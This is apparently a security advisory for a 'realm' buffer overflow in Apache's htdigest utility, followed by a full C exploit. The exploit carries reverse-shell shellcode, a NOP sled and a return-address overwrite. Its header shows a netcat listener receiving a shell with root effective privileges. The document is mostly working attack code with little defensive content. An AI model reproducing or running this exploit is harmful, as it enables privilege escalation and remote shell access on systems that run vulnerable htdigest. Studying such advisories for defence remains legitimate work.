Summary
htdigest is "a utility included with Apache Web Server, useful to create and update usernames, realms and passwords for digest authentication of HTTP users".

Due improper testing of bounds by the htdigest program, an attacker that is able to invoke the program can cause it to execute arbitrary code.

Credit:
The information has been provided by K-sPecial.
The advisory can be found at: http://www.securiteam.com/unixfocus/5EP061FEKC.html

Details
Exploit:
/*
* htdigest-realm-bof.c by K-sPecial 5-11-2005 { irc://irc.xzziroz.net }
*
* exploit for htdigest 'realm' parameter overflow; not sure on versions, seems to be <= 1.3.27 <= 2.0.52
* http://www.securiteam.com/unixfocus/5EP061FEKC.html
*
* compile with: gcc -o htdigest-realm-bof htdigest-realm-bof.c -std=c99
*
* One thing to note, apache seems to have htdigest going on quite odd, this code was written
* for the version that the htdigest sh script links together, debian seems to install the actual binary,
* so these might not be compatible. Also to note, this code was tested and created using the htdigest
* script/lt-htdigest that comes with apache 2.0.52
*
* kspecial@xzziroz:/usr/src/httpd-2.0.52/support$ ./htdigest -c file `./htdigest-realm-bof` user
* Adding password for user in realm 1 1 1 Q Q Q Q f 1 1 QQhfh9 fQ SWR f 1 9 t1 1 ? 1 ? 1 ? 1 1 Phn/shh//bi PS
* 1 .
* ^[[?1;2cNew password:
* Re-type new password:
*
* kspecial@xzziroz:~$ nc -lvp 1337
* listening on [any] 1337 ...
* 127.1.1.1: inverse host lookup failed: Unknown host
* connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 2965
* id
* uid=1000(kspecial) gid=1000(kspecial) euid=0(root) groups=100(users),1000(kspecial),1002(media)
*
*
* Of course the binary is not setuid by default. This ploit could be possibly useful to gain a
* shell when htdigest is being ran through a CGI script.
*/
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>

/****************************************/

#define IP "127.1.1.1"
#define PORT 1337

unsigned int addys[] = { 0xbffffadd, // debian 3.1
};
// which address to use
#define ADDY 0

/****************************************/

// Point Of EIP - The ammount of data we must write to completely overflow eip
#define POE 395

// netric callback shellcode
char cb[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";

#define IP_OFFSET 33
#define PORT_OFFSET 39

void changeip(char *ip);
void changeport(char *code, int port, int offset);

int main (void) {
char buff[416];
int a;

changeip(IP);
changeport(cb, PORT, PORT_OFFSET);

for (a = 0; a < 200; a++)
*(buff+a) = 0x90;

for (int b = 0; *(cb+b); a++, b++)
*(buff+a) = *(cb+b);

for (; a + 4 <= POE; a += 4)
memcpy(buff+a, (addys+ADDY), 4);

*(buff+a) = 0;

fwrite(buff, strlen(buff), 1, stdout);
return(0);
}

// ripped from some of snooq's code
void changeip(char *ip) {
char *ptr;
ptr=cb+IP_OFFSET;
/* Assume Little-Endianess.... */
*((long *)ptr)=inet_addr(ip);
}

// ripped from some of snooq's code
void changeport(char *code, int port, int offset) {
char *ptr;
ptr=code+offset;
/* Assume Little-Endianess.... */
*ptr++=(char)((port>>8)&0xff);
*ptr++=(char)(port&0xff);
}